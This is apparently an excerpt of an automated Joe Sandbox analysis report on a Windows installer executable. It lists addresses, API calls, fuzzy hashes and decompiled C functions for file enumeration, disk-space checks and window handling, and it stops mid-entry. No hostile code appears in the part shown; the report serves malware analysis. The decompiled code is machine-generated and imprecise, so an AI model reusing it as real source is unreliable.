                                                          0x00472bf2
                                                          0x00472c03
                                                          0x00472c13
                                                          0x00472c24
                                                          0x00472c2a
                                                          0x00472c2c
                                                          0x00000000
                                                          0x00472c2e
                                                          0x00472c2e
                                                          0x00472c32
                                                          0x00000000
                                                          0x00472c32
                                                          0x00472c2c
                                                          0x00000000
                                                          0x00472c39
                                                          0x00472c44
                                                          0x00472c49
                                                          0x00472c49
                                                          0x00472c51
                                                          0x00472c53
                                                          0x00472c56
                                                          0x00472c59
                                                          0x00472c67
                                                          0x00472c67
                                                          0x00472ba4
                                                          0x00472a47
                                                          0x00472a49
                                                          0x00472a4a
                                                          0x00472a4f
                                                          0x00472a52
                                                          0x00472a55
                                                          0x00472a55
                                                          0x00472a5d
                                                          0x00000000
                                                          0x00472a71
                                                          0x00472a7a
                                                          0x00472a7f
                                                          0x00472a82
                                                          0x00472a86
                                                          0x00472ab9
                                                          0x00472abd
                                                          0x00472ac8
                                                          0x00472acd
                                                          0x00472ad3
                                                          0x00472adf
                                                          0x00472ae4
                                                          0x00472af2
                                                          0x00472af2
                                                          0x00472a88
                                                          0x00472a88
                                                          0x00472a8b
                                                          0x00472a9a
                                                          0x00472a9f
                                                          0x00472aa4
                                                          0x00472ab2
                                                          0x00472ab2
                                                          0x00472afe
                                                          0x00472b03
                                                          0x00472b06
                                                          0x00000000
                                                          0x00472b08
                                                          0x00472b08
                                                          0x00472b0c
                                                          0x00472c6f
                                                          0x00472c71
                                                          0x00472c74
                                                          0x00472c77
                                                          0x00472c87
                                                          0x00472c99
                                                          0x00472c99
                                                          0x00472b06
                                                          0x00000000
                                                          0x00472b16
                                                          0x00472b21
                                                          0x00472b26
                                                          0x00472b26
                                                          0x00472b2e
                                                          0x00472b30
                                                          0x00472b33
                                                          0x00472b36
                                                          0x00472b44
                                                          0x00472b44
                                                          0x00000000

                                                          APIs
                                                          • FindFirstFileA.KERNEL32(00000000,?,?,00000000,?,00000000,00472C9A,?,00000000,?,00000000,?,00472DDE,00000000,00000000), ref: 00472A35
                                                          • FindNextFileA.KERNEL32(000000FF,?,00000000,00472B45,?,00000000,?,?,00000000,?,00000000,00472C9A,?,00000000,?,00000000), ref: 00472B21
                                                          • FindClose.KERNEL32(000000FF,00472B4C,00472B45,?,00000000,?,?,00000000,?,00000000,00472C9A,?,00000000,?,00000000), ref: 00472B3F
                                                          • FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,00000000,?,00000000,00472C9A,?,00000000,?,00000000,?,00472DDE,00000000), ref: 00472B98
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Find$File$First$CloseNext
                                                          • String ID:
                                                          • API String ID: 2001080981-0
                                                          • Opcode ID: 78db060d0ff8595c9ad911d788eff98285c939c0b52c7fa355805a1a434184b3
                                                          • Instruction ID: f4f0d5ffc9ce120d58c1fac62e782ea2759e54c072aa6b2b6e56672e70db2b2b
                                                          • Opcode Fuzzy Hash: 78db060d0ff8595c9ad911d788eff98285c939c0b52c7fa355805a1a434184b3
                                                          • Instruction Fuzzy Hash: CF715E7090021DAFDF22DFA5CD81ADFBBB9EF49304F1080AAE408A3291D6799B45CF54
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 59%
                                                          			E004551C4(void* __ebx, intOrPtr* __edx, void* __edi, void* __esi, void* __fp0) {
                                                          				intOrPtr* _v8;
                                                          				char _v12;
                                                          				char _v16;
                                                          				char _v144;
                                                          				intOrPtr _v148;
                                                          				intOrPtr _v152;
                                                          				intOrPtr _v156;
                                                          				char _v164;
                                                          				char _v168;
                                                          				void* _t57;
                                                          				intOrPtr _t75;
                                                          				intOrPtr _t80;
                                                          				void* _t107;
                                                          				void* _t110;
                                                          				intOrPtr _t111;
                                                          				intOrPtr _t122;
                                                          				intOrPtr _t125;
                                                          				intOrPtr _t153;
                                                          				intOrPtr _t159;
                                                          				intOrPtr _t160;
                                                          				intOrPtr _t165;
                                                          				intOrPtr _t166;
                                                          				intOrPtr _t167;
                                                          				intOrPtr _t168;
                                                          				intOrPtr _t169;
                                                          				intOrPtr _t172;
                                                          				intOrPtr _t176;
                                                          				intOrPtr _t181;
                                                          				void* _t186;
                                                          				void* _t187;
                                                          				intOrPtr _t188;
                                                          				void* _t194;
                                                          
                                                          				_t194 = __fp0;
                                                          				_t184 = __esi;
                                                          				_t183 = __edi;
                                                          				_t186 = _t187;
                                                          				_t188 = _t187 + 0xffffff5c;
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v168 = 0;
                                                          				_v12 = 0;
                                                          				_v16 = 0;
                                                          				_v8 = __edx;
                                                          				_push(_t186);
                                                          				_push(0x455580);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t188;
                                                          				_push(_t186);
                                                          				_push(0x455544);
                                                          				_push( *[fs:edx]);
                                                          				 *[fs:edx] = _t188;
                                                          				_t125 =  *_v8;
                                                          				_t57 = _t125 - 0x4a;
                                                          				if(_t57 == 0) {
                                                          					_t59 =  *((intOrPtr*)(_v8 + 8));
                                                          					_t153 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 8)))) - 0x800;
                                                          					__eflags = _t153;
                                                          					if(__eflags == 0) {
                                                          						_push(_t186);
                                                          						_push(0x45536f);
                                                          						_push( *[fs:edx]);
                                                          						 *[fs:edx] = _t188;
                                                          						E00403628( &_v12,  *((intOrPtr*)(_t59 + 4)),  *((intOrPtr*)(_t59 + 8)), __eflags);
                                                          						_push(_t186);
                                                          						_push(0x45532d);
                                                          						_push( *[fs:eax]);
                                                          						 *[fs:eax] = _t188;
                                                          						 *0x4ae28c = 1;
                                                          						_push(_t186);
                                                          						_push(0x455312);
                                                          						_push( *[fs:eax]);
                                                          						 *[fs:eax] = _t188;
                                                          						E004717F8(_v12,  *((intOrPtr*)(_t59 + 4)),  &_v16);
                                                          						__eflags = 0;
                                                          						_pop(_t159);
                                                          						 *[fs:eax] = _t159;
                                                          						_push(E00455319);
                                                          						 *0x4ae28c = 0;
                                                          						return 0;
                                                          					} else {
                                                          						_t160 = _t153 - 1;
                                                          						__eflags = _t160;
                                                          						if(_t160 == 0) {
                                                          							_push(_t186);
                                                          							_push(0x455463);
                                                          							_push( *[fs:edx]);
                                                          							 *[fs:edx] = _t188;
                                                          							E00402740( *((intOrPtr*)(_t59 + 8)), 0x94,  &_v164);
                                                          							_push(_t186);
                                                          							_push(0x455421);
                                                          							_push( *[fs:eax]);
                                                          							 *[fs:eax] = _t188;
                                                          							__eflags =  *0x4ae298;
                                                          							if( *0x4ae298 == 0) {
                                                          								E00408DF0("Cannot evaluate variable because [Code] isn\'t running yet", 1);
                                                          								E00403264();
                                                          							}
                                                          							E004036A4( &_v168, 0x80,  &_v144);
                                                          							_t75 =  *0x4ae298; // 0x21edcfc
                                                          							E00487818(_t75, _t125, _v152, _v156, _t183, _t184, _t194,  &_v16, _v168, _v148);
                                                          							 *((intOrPtr*)(_v8 + 0xc)) = 1;
                                                          							_pop(_t165);
                                                          							 *[fs:eax] = _t165;
                                                          							_t166 =  *0x48defc; // 0x0
                                                          							_t80 =  *0x48def8; // 0x0
                                                          							E00430E30(_t80, _t125, 0x700, _t166, _t183, _t184, _v16);
                                                          							_pop(_t167);
                                                          							 *[fs:eax] = _t167;
                                                          						} else {
                                                          							_t172 = _t160 - 1;
                                                          							__eflags = _t172;
                                                          							if(_t172 == 0) {
                                                          								_push(_t186);
                                                          								_push(0x4554ba);
                                                          								_push( *[fs:edx]);
                                                          								 *[fs:edx] = _t188;
                                                          								E00403548(0x48def0);
                                                          								E00403628(0x48def0,  *((intOrPtr*)( *((intOrPtr*)(_v8 + 8)) + 4)),  *((intOrPtr*)( *((intOrPtr*)(_v8 + 8)) + 8)), __eflags);
                                                          								 *((intOrPtr*)(_v8 + 0xc)) = 1;
                                                          								_pop(_t176);
                                                          								 *[fs:eax] = _t176;
                                                          							} else {
                                                          								__eflags = _t172 == 1;
                                                          								if(_t172 == 1) {
                                                          									_push(_t186);
                                                          									_push(0x45550b);
                                                          									_push( *[fs:edx]);
                                                          									 *[fs:edx] = _t188;
                                                          									E00403548(0x48def4);
                                                          									E00403628(0x48def4,  *((intOrPtr*)( *((intOrPtr*)(_v8 + 8)) + 4)),  *((intOrPtr*)( *((intOrPtr*)(_v8 + 8)) + 8)), __eflags);
                                                          									 *((intOrPtr*)(_v8 + 0xc)) = 1;
                                                          									_pop(_t181);
                                                          									 *[fs:eax] = _t181;
                                                          								}
                                                          							}
                                                          						}
                                                          						goto L21;
                                                          					}
                                                          				} else {
                                                          					_t107 = _t57 - 0xbb6;
                                                          					if(_t107 == 0) {
                                                          						 *0x48deec = 0;
                                                          						 *0x48def8 = 0;
                                                          						 *0x48df00 = 1;
                                                          						 *0x48df01 = 0;
                                                          						PostMessageA(0, 0, 0, 0);
                                                          					} else {
                                                          						_t110 = _t107 - 1;
                                                          						if(_t110 == 0) {
                                                          							 *0x48df00 = 1;
                                                          							_t111 = _v8;
                                                          							__eflags =  *((intOrPtr*)(_t111 + 4)) - 1;
                                                          							 *0x48df01 =  *((intOrPtr*)(_t111 + 4)) == 1;
                                                          							PostMessageA(0, 0, 0, 0);
                                                          						} else {
                                                          							if(_t110 == 2) {
                                                          								SetForegroundWindow( *(_v8 + 4));
                                                          							} else {
                                                          								_push( *((intOrPtr*)(_v8 + 8)));
                                                          								_push( *(_v8 + 4));
                                                          								_push(_t125);
                                                          								_t122 =  *0x48defc; // 0x0
                                                          								_push(_t122);
                                                          								L00405F44();
                                                          								 *((intOrPtr*)(_v8 + 0xc)) = _t122;
                                                          							}
                                                          						}
                                                          					}
                                                          					L21:
                                                          					_pop(_t168);
                                                          					 *[fs:eax] = _t168;
                                                          					_pop(_t169);
                                                          					 *[fs:eax] = _t169;
                                                          					_push(E00455587);
                                                          					E00403548( &_v168);
                                                          					return E00403568( &_v16, 2);
                                                          				}
                                                          			}



































                                                          0x004551c4
                                                          0x004551c4
                                                          0x004551c4
                                                          0x004551c5
                                                          0x004551c7
                                                          0x004551ce
                                                          0x004551cf
                                                          0x004551d2
                                                          0x004551d8
                                                          0x004551db
                                                          0x004551de
                                                          0x004551e3
                                                          0x004551e4
                                                          0x004551e9
                                                          0x004551ec
                                                          0x004551f1
                                                          0x004551f2
                                                          0x004551f7
                                                          0x004551fa
                                                          0x00455200
                                                          0x00455204
                                                          0x00455207
                                                          0x00455286
                                                          0x0045528b
                                                          0x0045528b
                                                          0x00455291
                                                          0x004552af
                                                          0x004552b0
                                                          0x004552b5
                                                          0x004552b8
                                                          0x004552ca
                                                          0x004552d1
                                                          0x004552d2
                                                          0x004552d7
                                                          0x004552da
                                                          0x004552dd
                                                          0x004552e6
                                                          0x004552e7
                                                          0x004552ec
                                                          0x004552ef
                                                          0x004552f8
                                                          0x004552fd
                                                          0x004552ff
                                                          0x00455302
                                                          0x00455305
                                                          0x0045530a
                                                          0x00455311
                                                          0x00455293
                                                          0x00455293
                                                          0x00455293
                                                          0x00455294
                                                          0x00455380
                                                          0x00455381
                                                          0x00455386
                                                          0x00455389
                                                          0x0045539d
                                                          0x004553a4
                                                          0x004553a5
                                                          0x004553aa
                                                          0x004553ad
                                                          0x004553b0
                                                          0x004553b7
                                                          0x004553c5
                                                          0x004553ca
                                                          0x004553ca
                                                          0x004553e7
                                                          0x00455403
                                                          0x00455408
                                                          0x00455410
                                                          0x00455419
                                                          0x0045541c
                                                          0x00455446
                                                          0x0045544c
                                                          0x00455451
                                                          0x00455458
                                                          0x0045545b
                                                          0x0045529a
                                                          0x0045529a
                                                          0x0045529a
                                                          0x0045529b
                                                          0x00455474
                                                          0x00455475
                                                          0x0045547a
                                                          0x0045547d
                                                          0x00455485
                                                          0x0045549e
                                                          0x004554a6
                                                          0x004554af
                                                          0x004554b2
                                                          0x004552a1
                                                          0x004552a1
                                                          0x004552a2
                                                          0x004554c8
                                                          0x004554c9
                                                          0x004554ce
                                                          0x004554d1
                                                          0x004554d9
                                                          0x004554f2
                                                          0x004554fa
                                                          0x00455503
                                                          0x00455506
                                                          0x00455506
                                                          0x004552a2
                                                          0x0045529b
                                                          0x00000000
                                                          0x00455294
                                                          0x00455209
                                                          0x00455209
                                                          0x0045520e
                                                          0x0045521d
                                                          0x00455226
                                                          0x0045522b
                                                          0x00455232
                                                          0x00455241
                                                          0x00455210
                                                          0x00455210
                                                          0x00455211
                                                          0x0045524b
                                                          0x00455252
                                                          0x00455255
                                                          0x00455259
                                                          0x00455268
                                                          0x00455213
                                                          0x00455216
                                                          0x00455279
                                                          0x00455218
                                                          0x0045551d
                                                          0x00455524
                                                          0x00455528
                                                          0x00455529
                                                          0x0045552e
                                                          0x0045552f
                                                          0x00455537
                                                          0x00455537
                                                          0x00455216
                                                          0x00455211
                                                          0x0045553a
                                                          0x0045553c
                                                          0x0045553f
                                                          0x0045555c
                                                          0x0045555f
                                                          0x00455562
                                                          0x0045556d
                                                          0x0045557f
                                                          0x0045557f

                                                          APIs
                                                          • PostMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00455241
                                                          • PostMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00455268
                                                          • SetForegroundWindow.USER32(?,00000000,00455544,?,00000000,00455580), ref: 00455279
                                                          • NtdllDefWindowProc_A.USER32(00000000,?,?,?,00000000,00455544,?,00000000,00455580), ref: 0045552F
                                                          Strings
                                                          • Cannot evaluate variable because [Code] isn't running yet, xrefs: 004553B9
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: MessagePostWindow$ForegroundNtdllProc_
                                                          • String ID: Cannot evaluate variable because [Code] isn't running yet
                                                          • API String ID: 2236967946-3182603685
                                                          • Opcode ID: e595dc94a75f8b8bdb725f7fd80162022f5790d8dab10c7503647295ea25369d
                                                          • Instruction ID: 95b111a220d62185ca6afdd142f4d940c15e3d42b846e94de273ceb19253328e
                                                          • Opcode Fuzzy Hash: e595dc94a75f8b8bdb725f7fd80162022f5790d8dab10c7503647295ea25369d
                                                          • Instruction Fuzzy Hash: 4F91EF34604A04EFD715DF65D961F69BBEAEB49304F21C4AAF804977A2D738AE04CF18
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 62%
                                                          			E00454498(void* __eax, void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi) {
                                                          				intOrPtr _v8;
                                                          				long _v12;
                                                          				long _v16;
                                                          				long _v20;
                                                          				long _v24;
                                                          				char _v28;
                                                          				char _v32;
                                                          				struct HINSTANCE__* _t37;
                                                          				signed int _t50;
                                                          				struct HINSTANCE__* _t70;
                                                          				intOrPtr _t84;
                                                          				void* _t92;
                                                          				void* _t94;
                                                          				void* _t97;
                                                          
                                                          				_v28 = 0;
                                                          				_v32 = 0;
                                                          				_v8 = __ecx;
                                                          				_t92 = __edx;
                                                          				_t94 = __eax;
                                                          				_push(_t97);
                                                          				_push(0x454585);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t97 + 0xffffffe4;
                                                          				_push("GetDiskFreeSpaceExA");
                                                          				_t37 = GetModuleHandleA("kernel32.dll");
                                                          				_push(_t37);
                                                          				L00405AA4();
                                                          				_t70 = _t37;
                                                          				if(_t70 == 0) {
                                                          					E0042C8F0(_t94,  &_v28);
                                                          					E0042C9B8(_v28,  &_v32);
                                                          					E0042C614(_v32,  &_v28);
                                                          					_t50 = GetDiskFreeSpaceA(E00403880(_v28),  &_v12,  &_v16,  &_v20,  &_v24);
                                                          					asm("sbb ebx, ebx");
                                                          					if( ~( ~_t50) != 0) {
                                                          						E004301C0(_v16 * _v12, _t92, _v20);
                                                          						E004301C0(_v16 * _v12, _v8, _v24);
                                                          					}
                                                          				} else {
                                                          					E0042C614(_t94,  &_v28);
                                                          					_t70->i(E00403880(_v28), _t92, _v8, 0);
                                                          					asm("sbb eax, eax");
                                                          				}
                                                          				_pop(_t84);
                                                          				 *[fs:eax] = _t84;
                                                          				_push(0x45458c);
                                                          				return E00403568( &_v32, 2);
                                                          			}

















                                                          0x004544a3
                                                          0x004544a6
                                                          0x004544a9
                                                          0x004544ac
                                                          0x004544ae
                                                          0x004544b2
                                                          0x004544b3
                                                          0x004544b8
                                                          0x004544bb
                                                          0x004544be
                                                          0x004544c8
                                                          0x004544cd
                                                          0x004544ce
                                                          0x004544d3
                                                          0x004544d7
                                                          0x00454514
                                                          0x0045451f
                                                          0x0045452a
                                                          0x00454538
                                                          0x00454541
                                                          0x00454547
                                                          0x00454554
                                                          0x00454565
                                                          0x00454565
                                                          0x004544d9
                                                          0x004544e5
                                                          0x004544f3
                                                          0x004544f7
                                                          0x004544fb
                                                          0x0045456c
                                                          0x0045456f
                                                          0x00454572
                                                          0x00454584

                                                          APIs
                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,GetDiskFreeSpaceExA,00000000,00454585), ref: 004544C8
                                                          • 6CAA5550.KERNEL32(00000000,kernel32.dll,GetDiskFreeSpaceExA,00000000,00454585), ref: 004544CE
                                                          • GetDiskFreeSpaceA.KERNEL32(00000000,?,?,?,?,00000000,kernel32.dll,GetDiskFreeSpaceExA,00000000,00454585), ref: 00454538
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A5550DiskFreeHandleModuleSpace
                                                          • String ID: GetDiskFreeSpaceExA$kernel32.dll
                                                          • API String ID: 1526476136-3712701948
                                                          • Opcode ID: b6483b5ee3d0346f159b185c52af97ae63ec2584e7aaeb3b34e3d6e6d116d660
                                                          • Instruction ID: ee69e7ae25aeeea0998975ace1f002d7bd1a950fc69788e101bcd8bc85b7e071
                                                          • Opcode Fuzzy Hash: b6483b5ee3d0346f159b185c52af97ae63ec2584e7aaeb3b34e3d6e6d116d660
                                                          • Instruction Fuzzy Hash: B4212671B0020EABCB01DFE5C8D29AFB7BCEB48715F50457AB501E7281D6789E458A94
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00417EE8(void* __eax, int __ecx, int __edx, int _a4, int _a8) {
                                                          				struct _WINDOWPLACEMENT _v48;
                                                          				void _v64;
                                                          				int _t51;
                                                          				void* _t52;
                                                          				int _t58;
                                                          				int _t62;
                                                          
                                                          				_t58 = __ecx;
                                                          				_t62 = __edx;
                                                          				_t52 = __eax;
                                                          				if(__edx !=  *((intOrPtr*)(__eax + 0x24)) || __ecx !=  *((intOrPtr*)(__eax + 0x28)) || _a8 !=  *((intOrPtr*)(__eax + 0x2c))) {
                                                          					L4:
                                                          					if(E00418590(_t52) == 0 || IsIconic( *(_t52 + 0xc0)) != 0) {
                                                          						 *(_t52 + 0x24) = _t62;
                                                          						 *(_t52 + 0x28) = _t58;
                                                          						 *((intOrPtr*)(_t52 + 0x2c)) = _a8;
                                                          						 *((intOrPtr*)(_t52 + 0x30)) = _a4;
                                                          						if(E00418590(_t52) != 0) {
                                                          							_v48.length = 0x2c;
                                                          							GetWindowPlacement( *(_t52 + 0xc0),  &_v48);
                                                          							E00414874(_t52,  &_v64);
                                                          							memcpy( &(_v48.rcNormalPosition),  &_v64, 4 << 2);
                                                          							SetWindowPlacement( *(_t52 + 0xc0),  &_v48);
                                                          						}
                                                          					} else {
                                                          						SetWindowPos( *(_t52 + 0xc0), 0, _t62, _t58, _a8, _a4, 0x14);
                                                          					}
                                                          					return E00414678(_t52);
                                                          				} else {
                                                          					_t51 = _a4;
                                                          					if(_t51 ==  *((intOrPtr*)(__eax + 0x30))) {
                                                          						return _t51;
                                                          					}
                                                          					goto L4;
                                                          				}
                                                          			}









                                                          0x00417ef1
                                                          0x00417ef3
                                                          0x00417ef5
                                                          0x00417efa
                                                          0x00417f15
                                                          0x00417f1e
                                                          0x00417f4c
                                                          0x00417f4f
                                                          0x00417f55
                                                          0x00417f5b
                                                          0x00417f67
                                                          0x00417f69
                                                          0x00417f7b
                                                          0x00417f85
                                                          0x00417f95
                                                          0x00417fa2
                                                          0x00417fa2
                                                          0x00417f30
                                                          0x00417f45
                                                          0x00417f45
                                                          0x00000000
                                                          0x00417f09
                                                          0x00417f09
                                                          0x00417f0f
                                                          0x00417fb4
                                                          0x00417fb4
                                                          0x00000000
                                                          0x00417f0f

                                                          APIs
                                                          • IsIconic.USER32(?), ref: 00417F27
                                                          • SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 00417F45
                                                          • GetWindowPlacement.USER32(?,0000002C), ref: 00417F7B
                                                          • SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 00417FA2
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Window$Placement$Iconic
                                                          • String ID: ,
                                                          • API String ID: 568898626-3772416878
                                                          • Opcode ID: 499d3834d6b5db29a22e0f47dab4578c443018d11d48153a0622ce0220785e8f
                                                          • Instruction ID: 311bdc00790280313cc464f85d3e4d0a04fc091c1b109fb2a90286c771725ff4
                                                          • Opcode Fuzzy Hash: 499d3834d6b5db29a22e0f47dab4578c443018d11d48153a0622ce0220785e8f
                                                          • Instruction Fuzzy Hash: 09212AB1A04204ABCF10EF69C8C1EDB77A8AB48314F15456AFD19EB246D738E845CB68
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 58%
                                                          			E0045DEF4(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4) {
                                                          				char _v8;
                                                          				int _v12;
                                                          				void* _v16;
                                                          				char _v20;
                                                          				struct _WIN32_FIND_DATAA _v340;
                                                          				char _v344;
                                                          				char _v348;
                                                          				void* _t49;
                                                          				void* _t77;
                                                          				intOrPtr _t89;
                                                          				intOrPtr _t92;
                                                          				void* _t97;
                                                          				void* _t100;
                                                          				void* _t102;
                                                          				void* _t104;
                                                          				void* _t105;
                                                          				intOrPtr _t106;
                                                          
                                                          				_t78 = __ecx;
                                                          				_t104 = _t105;
                                                          				_t106 = _t105 + 0xfffffea8;
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v344 = 0;
                                                          				_v348 = 0;
                                                          				_v8 = 0;
                                                          				_v20 = 0;
                                                          				_t77 = __ecx;
                                                          				_t100 = __edx;
                                                          				_t102 = __eax;
                                                          				_push(_t104);
                                                          				_push(0x45e0a8);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t106;
                                                          				_t107 = __ecx;
                                                          				if(__ecx != 0) {
                                                          					E0042CA40(__ecx, __ecx,  &_v344);
                                                          					_push(_v344);
                                                          					E0042C614(_t100,  &_v348);
                                                          					_pop(_t97);
                                                          					if(E0042C73C(_v348, _t77, _t78, _t97, _t100, _t102, _t107) == 0) {
                                                          						E0042CA18(_t77, _t78,  &_v8);
                                                          					}
                                                          				}
                                                          				_v12 = SetErrorMode(1);
                                                          				_push(_t104);
                                                          				_push(0x45e073);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t106;
                                                          				E0042C614(_t100,  &_v344);
                                                          				E004036C4( &_v344, 0x45e0c0);
                                                          				_v16 = FindFirstFileA(E00403880(_v344),  &_v340);
                                                          				if(_v16 == 0xffffffff) {
                                                          					__eflags = 0;
                                                          					_pop(_t89);
                                                          					 *[fs:eax] = _t89;
                                                          					_push(0x45e07a);
                                                          					return SetErrorMode(_v12);
                                                          				} else {
                                                          					_push(_t104);
                                                          					_push(0x45e055);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t106;
                                                          					do {
                                                          						_t49 = E0045CA08( &_v340);
                                                          						_t111 = _t49;
                                                          						if(_t49 != 0) {
                                                          							E004036A4( &_v20, 0x104,  &(_v340.cFileName));
                                                          							if(E0042C73C(_v20, _t77, 0x104, _v8, _t100, _t102, _t111) != 0 && E0045D760( *((intOrPtr*)(_a4 - 4)), _v20, _t102) == 0) {
                                                          								E0045D668( *((intOrPtr*)(_a4 - 4)), _v20, _t102, 0, 0, 0);
                                                          							}
                                                          						}
                                                          					} while (FindNextFileA(_v16,  &_v340) != 0);
                                                          					_pop(_t92);
                                                          					 *[fs:eax] = _t92;
                                                          					_push(0x45e05c);
                                                          					return FindClose(_v16);
                                                          				}
                                                          			}




















                                                          0x0045def4
                                                          0x0045def5
                                                          0x0045def7
                                                          0x0045defd
                                                          0x0045defe
                                                          0x0045deff
                                                          0x0045df02
                                                          0x0045df08
                                                          0x0045df0e
                                                          0x0045df11
                                                          0x0045df14
                                                          0x0045df16
                                                          0x0045df18
                                                          0x0045df1c
                                                          0x0045df1d
                                                          0x0045df22
                                                          0x0045df25
                                                          0x0045df28
                                                          0x0045df2a
                                                          0x0045df34
                                                          0x0045df3f
                                                          0x0045df48
                                                          0x0045df53
                                                          0x0045df5b
                                                          0x0045df62
                                                          0x0045df62
                                                          0x0045df5b
                                                          0x0045df6e
                                                          0x0045df73
                                                          0x0045df74
                                                          0x0045df79
                                                          0x0045df7c
                                                          0x0045df8e
                                                          0x0045df9e
                                                          0x0045dfb4
                                                          0x0045dfbb
                                                          0x0045e05c
                                                          0x0045e05e
                                                          0x0045e061
                                                          0x0045e064
                                                          0x0045e072
                                                          0x0045dfc1
                                                          0x0045dfc3
                                                          0x0045dfc4
                                                          0x0045dfc9
                                                          0x0045dfcc
                                                          0x0045dfcf
                                                          0x0045dfd5
                                                          0x0045dfda
                                                          0x0045dfdc
                                                          0x0045dfec
                                                          0x0045dffe
                                                          0x0045e025
                                                          0x0045e025
                                                          0x0045dffe
                                                          0x0045e03a
                                                          0x0045e040
                                                          0x0045e043
                                                          0x0045e046
                                                          0x0045e054
                                                          0x0045e054

                                                          APIs
                                                          • SetErrorMode.KERNEL32(00000001,00000000,0045E0A8), ref: 0045DF69
                                                          • FindFirstFileA.KERNEL32(00000000,?,00000000,0045E073,?,00000001,00000000,0045E0A8), ref: 0045DFAF
                                                          • FindNextFileA.KERNEL32(000000FF,?,00000000,0045E055,?,00000000,?,00000000,0045E073,?,00000001,00000000,0045E0A8), ref: 0045E035
                                                          • FindClose.KERNEL32(000000FF,0045E05C,0045E055,?,00000000,?,00000000,0045E073,?,00000001,00000000,0045E0A8), ref: 0045E04F
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Find$File$CloseErrorFirstModeNext
                                                          • String ID:
                                                          • API String ID: 4011626565-0
                                                          • Opcode ID: 57442afee4419b1d50bfbaf5f1af8c694b826538d3a338e2f11ef4f2f3517b00
